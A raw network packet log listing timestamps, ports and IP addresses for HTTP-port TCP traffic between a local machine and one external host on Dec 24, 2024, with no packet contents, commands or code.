Dec 24, 2024 14:02:37.455053091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.455097914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.455240011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.455279112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.455998898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.456047058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.456487894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.456533909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.456954002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.456999063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.457056999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.457102060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.458026886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.458075047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.458079100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.458116055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.458875895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.458925962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.458985090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.459023952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.542876959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.542984009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.560920954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.560986996 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.601160049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.601258039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.601283073 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.601326942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.601638079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.601690054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.601748943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.601799011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.602670908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.602720022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.602916956 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.602962971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.603662968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.603714943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.603867054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.603912115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.604796886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.604845047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.604902029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.604948044 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.605504990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.605552912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.605633020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.605675936 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.606484890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.606530905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.606607914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.606652021 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.607492924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.607542038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.608098984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.608163118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.608417988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.608429909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.608473063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.609496117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.609544039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.609904051 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.609951973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.610398054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.610455990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.610584974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.610632896 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.611356020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.611402035 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.611426115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.611464977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.612370968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.612421036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.612538099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.612580061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.613313913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.613354921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.613629103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.613672018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.614296913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.614356995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.614635944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.614686966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.615263939 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.615323067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.615607977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.615659952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.616245031 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.616297007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.616702080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.616776943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.617218018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.617269993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.617436886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.617476940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.618345976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.618396044 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.618685961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.618735075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.619198084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.619339943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.619609118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.619658947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.620248079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.620261908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.620300055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.620320082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.621172905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.621225119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.621336937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.621380091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.622117043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.622169971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.622246027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.622291088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.623106003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.623155117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.623353958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.623398066 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.624269009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.624322891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.624351025 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.624394894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.625053883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.625107050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.625107050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.625161886 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.626101017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.626152992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.626182079 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.626228094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.627017975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.627065897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.627098083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.627141953 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.628002882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.628047943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.628415108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.628460884 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.628957987 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.629003048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.629179001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.629220963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.629975080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.630019903 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.630194902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.630234957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.630959034 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.631009102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.631077051 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.631118059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.631903887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.631968975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.632247925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.632292032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.632889986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.632936954 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.633297920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.633339882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.634010077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.634053946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.634080887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.634121895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.635147095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.635196924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.635874033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.635929108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.636291027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.636336088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.636756897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.636804104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.637454033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.637501955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.637507915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.637567043 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.638506889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.638562918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.638914108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.638957024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.639508963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.639568090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.639652967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.639698029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.640495062 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.640537024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.640539885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.640590906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.641268969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.641316891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.641479969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.641525030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.642338991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.642390013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.642736912 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.642785072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.643224001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.643279076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.643338919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.643419981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.643980026 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.644041061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.644311905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.644361019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.644856930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.644903898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.645157099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.645204067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.645639896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.645685911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.645716906 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.645756006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.646621943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.646667957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.646743059 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.646790028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.647644997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.647686958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.648382902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.648432016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.648578882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.648626089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.649017096 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.649064064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.649509907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.649561882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.649636030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.649682999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.650532007 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.650580883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.650753021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.650805950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.651504040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.651551008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.651633978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.651690960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.652422905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.652472973 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.793611050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.793674946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.793791056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.793838024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.793972969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.794019938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.794210911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.794258118 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.794962883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.795007944 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.795582056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.795629025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.795970917 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.795984030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.796021938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.796947956 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.796996117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.797039986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.797085047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.797902107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.797949076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.797981024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.798018932 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.798856020 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.798908949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.798988104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.799034119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.799920082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.799968958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.800934076 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.800981998 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.801050901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.801064014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.801095009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.801107883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.801836014 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.801882029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.801914930 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.801954985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.802824974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.802910089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.803082943 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.803128958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.803774118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.803857088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.804153919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.804199934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.804820061 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.804833889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.804882050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.804882050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.805788994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.805835962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.806175947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.806221008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.806767941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.806782961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.806812048 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.806823969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.807677984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.807725906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.807988882 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.808031082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.808665991 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.808713913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.808772087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.808815956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.809648037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.809691906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.809961081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.810009956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.810669899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.810718060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.810748100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.810791016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.811630011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.811676025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.811872005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.811912060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.812621117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.812669992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.812696934 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.812737942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.813600063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.813646078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.814016104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.814062119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.814610004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.814656019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.814815044 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.814862013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.815505028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.815555096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.815587997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.815634012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.816514015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.816564083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.817703009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.817715883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.817727089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:37.817765951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.817789078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:37.818649054 CET	80	49787	185.231.69.191	192.168.2.6
